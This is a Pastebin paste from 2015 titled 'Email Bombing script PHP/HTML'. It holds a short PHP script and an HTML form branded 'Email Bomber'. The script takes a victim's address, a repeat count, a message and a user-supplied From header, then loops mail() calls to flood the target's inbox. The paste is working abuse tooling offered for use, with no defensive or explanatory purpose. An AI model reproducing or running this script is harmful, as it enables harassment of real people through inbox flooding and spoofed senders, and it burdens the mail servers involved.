Advertisement
Kyfx

Email Bombing script PHP/HTML

Mar 28th, 2015
1,861
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.30 KB | None | 0 0
  1. <?php
  2.  
  3. $num = 1;
  4. $email = $_POST['email'];
  5. $spam = $_POST['spam'];
  6. $subject = $_POST['subject'];
  7. $message = $_POST['message'];
  8. $from = $_POST['from'];
  9. $send = $_POST['send'];
  10.  
  11. if($spam!='' && $email=='')
  12. {
  13. die('Please enter an email');
  14. }
  15.  
  16. if(51<=$spam)
  17. {
  18. die('Error: Number to spam to large. Max is 50 (for security reasons)');
  19. }
  20.  
  21. if($email != '')
  22. {
  23. while($num<=$spam)
  24. {
  25. mail ($email, $subject, $message, "From: " . $from);
  26. echo $num . "<br>";
  27. $num++;
  28. }
  29. }
  30. ?>
  31.  
  32.  
  33. [HTML]
  34.  
  35.  
  36. <html>
  37. <title> Email Bomber </title>
  38. <body bgcolor="black">
  39. <font face="courier" color="red"><h2>Welcome to Email Bomber</h2>
  40. Kyfx<br><br>
  41. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  42. <form action="email.php" method="post">
  43. Email Address: <input type="text" name="email" /><br>
  44. How many times to spam: <input type="text" name="spam" /><br>
  45. Subject: <input type="text" name="subject" /><br>
  46. Message: <TEXTAREA NAME="message" ROWS=1 COLS=40></TEXTAREA><br>
  47. Email From: <input type="text" name="from" /><br>
  48. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br><br>
  49. <input type="submit" value="send" /><input type="reset" />
  50. </form>
  51. </font>
  52. </body>
  53. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement